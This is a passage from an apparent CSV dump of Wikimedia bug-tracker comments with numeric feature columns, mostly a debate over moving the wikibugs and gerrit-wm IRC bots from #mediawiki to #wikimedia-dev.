+It is a candidate for a Google Summer of Code Project (mentioned at https://www.mediawiki.org/wiki/Talk:Summer_of_Code_2013#List_of_project_ideas_25327), among other possibilities.",,,1363906883,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+228045,Implement inline comment support using OKFN annotator,This could also potentially be done as a separate extension.,,,1363903597,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,1,True,,,-15,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+48322,Move wikibugs and gerrit-wm out of #mediawiki,"Various users find them inappropriate in #mediawiki because it is a support channel, not as much a developer discussion channel (#wikimedia-dev).
+
+Whether to move them there or to a dedicated channel isn't clear yet.
+
+See discussions on bug 46282 and bug 46144.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1363699500,1398197924.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-b7iac2xw43i4wyam3nwq,task_description,resolved,True,c1,1,True,False,False,-15,,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+220521,Move wikibugs and gerrit-wm out of #mediawiki,https://github.com/valhallasw/pywikibugs is the source for people who want to make modifications.,,,1398601535,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0
+220512,Move wikibugs and gerrit-wm out of #mediawiki,"Wikibugs is dead, pywikibugs reports to #wikimedia-dev.",,,1398197924,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+220503,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to Krinkle from comment #11)
+> Re-opened since bug 46144 is still unresolved.
+
+You didn't re-open this bug. It's now a tracking bug that's marked resolved/fixed with an open dependency. Hrm.",,,1393636938,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,3,False,,,34,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+220493,Move wikibugs and gerrit-wm out of #mediawiki,Re-opened since bug 46144 is still unresolved.,,,1366375213,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+220485,Move wikibugs and gerrit-wm out of #mediawiki,"06.45 -!- Nemo_bis changed the topic of #wikimedia-dev to: MediaWiki and Wikimedia software development | Support: #mediawiki | Technical help for Wikimedia wikis: #wikimedia-tech | Wikimedia operations: #wikimedia-operations
+
+It used to be ""Developers' talk about WMF's #mediawiki projects"" or very similar ones (the key being WMF) since the beginning of time (creation as -usability).",,,1366174392,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+220479,Move wikibugs and gerrit-wm out of #mediawiki,"https://gerrit.wikimedia.org/r/#/c/57752/ , https://gerrit.wikimedia.org/r/#/c/57753/ merged.
+
+00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
+00.32 < mutante> bot is moving per merged changes
+00.32 < James_F> Yup. :-)
+00.32 < James_F> (Yay.)
+
+(CEST)",,,1366172907,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+220473,Move wikibugs and gerrit-wm out of #mediawiki,Related URL: https://gerrit.wikimedia.org/r/58661 (Gerrit Change I588f2eba8fba9603f33386e54e90c03e2bb5f5f0),,,1365657530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+220467,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #6)
+> Ori submitted I10a02bfe to get this done when there is approval.
+
+I'd say, why can't we do both? Lets first move it out of #mediawiki. That is something we all agree upon.
+
+We'll keep it in regular talk channels for now (#wikimedia-dev).
+
+If we believe that it is disturbing even in a developer-oriented channel (which I'm sure it won't) then we can choose to create a separate channel, but going all the way at once is unnecessary and only creates more chaos.",,,1365475852,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-12,,1,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+220460,Move wikibugs and gerrit-wm out of #mediawiki,Ori submitted I10a02bfe to get this done when there is approval.,,,1365203853,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+220454,Move wikibugs and gerrit-wm out of #mediawiki,"I wrote this before: Could we move this debate to its target audience somehow, as I'm afraid that it won't be seen in this Bugzilla report?
+I understand that's hard for IRC, but maybe a generic mailing list or RFC? 
+I don't see much sense battling here.",,,1363769474,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+220447,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #3)
+> #wikimedia-dev is not Wikimedia deployment specific development. It is
+> development of software used by Wikimedia, which all of MediaWiki is
+> obviously part of at least as long as either MediaWiki is a Wikimedia
+> Foundation project and Wikipedia.org runs on MediaWiki. Regardless of
+> whether our staff maintains it or not.
+
+This is insane. Are you hearing yourself?
+
+>> I'd much prefer #mediawiki-feeds.
+> 
+> For what reason? Because you don't want to see it in channels that you're in?
+
+Because it's the least bad option (other than keeping the bots in #mediawiki).
+
+> In that case we move it out of channels not meant for developers only
+> (#mediawiki) and into #wikimedia-dev where it is reasonable to ask you to use
+> /ignore if you don't like it.
+
+This doesn't make any sense. What's accomplished here?
+
+> If you do find them useful, then how are they useful in a separate channel?
+> You'd have to manually check up there to see for anything. I don't think that
+> works well in practice. The whole idea of being exposed to other people's
+> activities casually (without actively looking for it) wouldn't exist anymore
+> then I believe.
+
+That's a reason to either keep the bots in #mediawiki or not. Moving them to a separate discussion channel solves nothing.
+
+> Besides, what about the channels for operations, visualeditor, parsoid,
+> mobile.
+> They all have bots related to their activities, because it makes sense to
+> have it in the same channel so you're exposed to each others activities and
+> can jump into things when they come by. Separating it out is
+> counter-intuitive.
+
+What about them? You're the one conflating gerrit-wm and wikibugs and then complaining about the two being conflated. wikibugs is only in #mediawiki and was the subject of its own discussion before you created this bug. gerrit-wm is in multiple channels already and serves a different purpose from wikibugs.",,,1363752509,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-15,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+220439,Move wikibugs and gerrit-wm out of #mediawiki,"(In reply to comment #2)
+> I don't think #wikimedia-dev should exist.
+> Moving MediaWiki development bots to a Wikimedia channel is pretty wrong.
+> 
+
+#wikimedia-dev is not Wikimedia deployment specific development. It is development of software used by Wikimedia, which all of MediaWiki is obviously part of at least as long as either MediaWiki is a Wikimedia Foundation project and Wikipedia.org runs on MediaWiki. Regardless of whether our staff maintains it or not.
+
+#wikimedia-dev should exist by all means, it isn't specific but broad. Perhaps too broad, but that's why we have specific channels for teams that prefer their own area:
+- operations, visualeditor, parsoid, mobile, i18n.
+
+A #mediawiki-dev could exist leaving #wikimedia-dev with only non-MediaWiki related dev stuff, but that would be rather narrow. There is no justification to split it up right now I think. It isn't too crowded and splitting it up would go at the cost of more decentralisation and less integrated communication.
+
+> I'd much prefer #mediawiki-feeds.
+
+For what reason? Because you don't want to see it in channels that you're in?
+
+In that case we move it out of channels not meant for developers only (#mediawiki) and into #wikimedia-dev where it is reasonable to ask you to use /ignore if you don't like it.
+
+If you do find them useful, then how are they useful in a separate channel? You'd have to manually check up there to see for anything. I don't think that works well in practice. The whole idea of being exposed to other people's activities casually (without actively looking for it) wouldn't exist anymore then I believe.
+
+Besides, what about the channels for operations, visualeditor, parsoid, mobile. They all have bots related to their activities, because it makes sense to have it in the same channel so you're exposed to each others activities and can jump into things when they come by. Separating it out is counter-intuitive.",,,1363709152,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+220431,Move wikibugs and gerrit-wm out of #mediawiki,"I don't think #wikimedia-dev should exist.
+
+Moving MediaWiki development bots to a Wikimedia channel is pretty wrong. I'd much prefer #mediawiki-feeds.",,,1363707120,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,False,,,-15,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+220424,Move wikibugs and gerrit-wm out of #mediawiki,"Aggregating various arguments that apply generally to moving them out (as opposed to moving any specific bot):
+
+(Quote bug 46282 comment #0)
+> The only times I've found it useful is when I was live reviewing and wanted
+> to point someone to a change/comment I made.
+
+(Quote bug 46282 comment #1)
+> Use /ignore in your favorite IRC client. Works well.
+
+(Quote bug 46282 comment #2)
+> I disagree with ""it's completely useless"", but in this case, when someone
+> knows he is going to spam the channel and has op on #mediawiki, he should
+> have quieted [the bot] before sending all those changes.
+
+(Quote bug 46282 comment #6)
+> We're going to move both. Need puppet changes.
+
+
+(Quote bug 46144 comment 5)
+> We actively had a user saying ""This channel obviously isn't for support...two
+> pages of scrollback and I've spotted 2 real people."" This is a bad thing,
+> contrary to what you may think.
+> 
+> We've had *contributors* complaining about the bot(s) for the past couple of
+> months/years.
+> 
+> I really don't think two/three people saying ""I LIKE THE BOT IN #MEDIAWIKI SO
+> LEAVE IT THE HELL ALONE"" trumps the wider problems here...that the bot
+> *needs*
+> to go.
+
+(Quote bug 46144 comment 8)
+> Lets take this the mailing list again...
+> 
+> (But my two cents)
+> If we kick any single bot, Gerrit produces a-lot more cruft lately than
+> wikibugs... I, as having pointed out would prefer them all in a separate
+> channel that is moderated and only the bots are voiced.
+
+(Quote bug 46144 comment 19)
+> (Quote bug 46144 comment 18)
+> > That's not a valid reason, imho. We need a way to tone down what it reports,
+> > if
+> > it's going to stay...the rate of bug reporting & commenting is many times
+> > greater than it once was. It's definitely gotten noisier over the years,
+> > which
+> > has reduced its utility.
+> 
+> Reduced it's utility -> in the main support channel. The bot *is* useful, I
+> just think it drowns out conversation these days.
+
+(Quote bug 46144 comment 26)
+> What about moving them to #wikimedia-dev instead of #mediawiki?
+> 
+> I think most (actively involved) developers that are on IRC aren't disturbed
+> by
+> the feed. If they really must they're experienced enough to not be afraid of
+> a
+> simple /ignore.
+> 
+> Though I speak only for myself, I believe those that do want the feed, would
+> prefer it to be in context of regular conversation, not in a separate
+> channel.
+> 
+> It's where random bits of interesting things come by from (e.g. discussing a
+> change, proposing and and then someone does it or files a bug about it).
+> 
+> It doesn't work when in a separate channel.
+> 
+> See also #mediawiki-parsoid, #mediawiki-visualeditor, #wikimedia-operations,
+> #wikimedia-mobile etc. (and same for third parties such as #jquery-dev and
+> webkit).
+> 
+> The problem is mainly with #mediawiki being a support channel instead of dev
+> channel, not with having notifications in a human-occupied irc channel in
+> general.",,,1363699938,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-b7iac2xw43i4wyam3nwq,task_subcomment,,True,c1,1,True,,,-15,,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+48144,Move wikibugs out of #mediawiki to #wikimedia-dev,"wikibugs has gone missing from #mediawiki.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://www.mediawiki.org/wiki/Git/IRC
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=28402",Low,25.0,1363319760,1398197844.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hd4snxw47ckt4oowe3xb,task_description,resolved,True,c1,1,False,False,False,-16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+210592,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #31)
+> @Nemo, this bug is about wikibugs. Though some related change has been
+> merged,
+> wikibugs is not yet run from puppet so that change is irrelevant until that
+> is
+> activated.
+
+Current status is also discussed in https://gerrit.wikimedia.org/r/#/c/54984",,,1381952272,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,3,True,,,15,,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+210587,Move wikibugs out of #mediawiki to #wikimedia-dev,"As this came up in the IRC office hour today, wondering whether to go via an RFC for this.",,,1373991340,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+210582,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #39)
+> Whose blood do I sacrifice to have this happen?
+
+How about this, instead:
+
+(In reply to comment #21)
+> We could schedule an IRC meeting, announce it ia wikitech-l mailing list, and
+> tally votes/opinions on a wiki page.",,,1371792126,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+210577,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #40)
+> Chad's?
+
+No, not me. I tried to move it out of #mediawiki, but people yelled at me. I don't care about this bot anymore.
+
+Removing myself from CC.",,,1371783597,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,0,0,1
+210571,Move wikibugs out of #mediawiki to #wikimedia-dev,Chad's?,,,1371778738,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0
+210563,Move wikibugs out of #mediawiki to #wikimedia-dev,Whose blood do I sacrifice to have this happen?,,,1371739659,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+210555,Move wikibugs out of #mediawiki to #wikimedia-dev,(Updating summary to make it easier to search this bug),,,1367252699,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+210549,Move wikibugs out of #mediawiki to #wikimedia-dev,"Sooo... it's still in #mediawiki, and not in #wikimedia-dev. Does it need additional poking?
+
+[Personally I prefer the bots in #mediawiki, but it sounds like I've lost this fight. :)]",,,1367252671,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-9,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+210544,Move wikibugs out of #mediawiki to #wikimedia-dev,"sorry, one last time",,,1366673117,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+210538,Move wikibugs out of #mediawiki to #wikimedia-dev,..,,,1366671790,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+210534,Move wikibugs out of #mediawiki to #wikimedia-dev,"test - wikibugs bot, please report in new channel, after having to kill concurrent bot instances started by old script",,,1366670542,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+210531,Move wikibugs out of #mediawiki to #wikimedia-dev,moved to #wikimedia-dev,,,1366670045,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,False,,,-10,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+210528,Move wikibugs out of #mediawiki to #wikimedia-dev,"(In reply to comment #31)
+> @Nemo, this bug is about wikibugs. Though some related change has been
+> merged, wikibugs is not yet run from puppet so that change is irrelevant
+> until that is activated. wikibugs is still in #mediawiki. Reopening.
+
+At the time the bug was closed, #mediawiki was blessèdly-free of bots. :-)",,,1366381582,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+210524,Move wikibugs out of #mediawiki to #wikimedia-dev,"@Nemo, this bug is about wikibugs. Though some related change has been merged, wikibugs is not yet run from puppet so that change is irrelevant until that is activated. wikibugs is still in #mediawiki. Reopening.",,,1366375128,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+210518,Move wikibugs out of #mediawiki to #wikimedia-dev,"https://gerrit.wikimedia.org/r/#/c/57752/ , https://gerrit.wikimedia.org/r/#/c/57753/ merged.
+
+00.31 -!- gerrit-wm [~gerrit-wm@manganese.wikimedia.org] has quit [Remote host closed the connection]
+00.32 < mutante> bot is moving per merged changes
+00.32 < James_F> Yup. :-)
+00.32 < James_F> (Yay.)
+
+(CEST)",,,1366172918,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-hd4snxw47ckt4oowe3xb,task_subcomment,,True,c1,1,True,,,-11,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
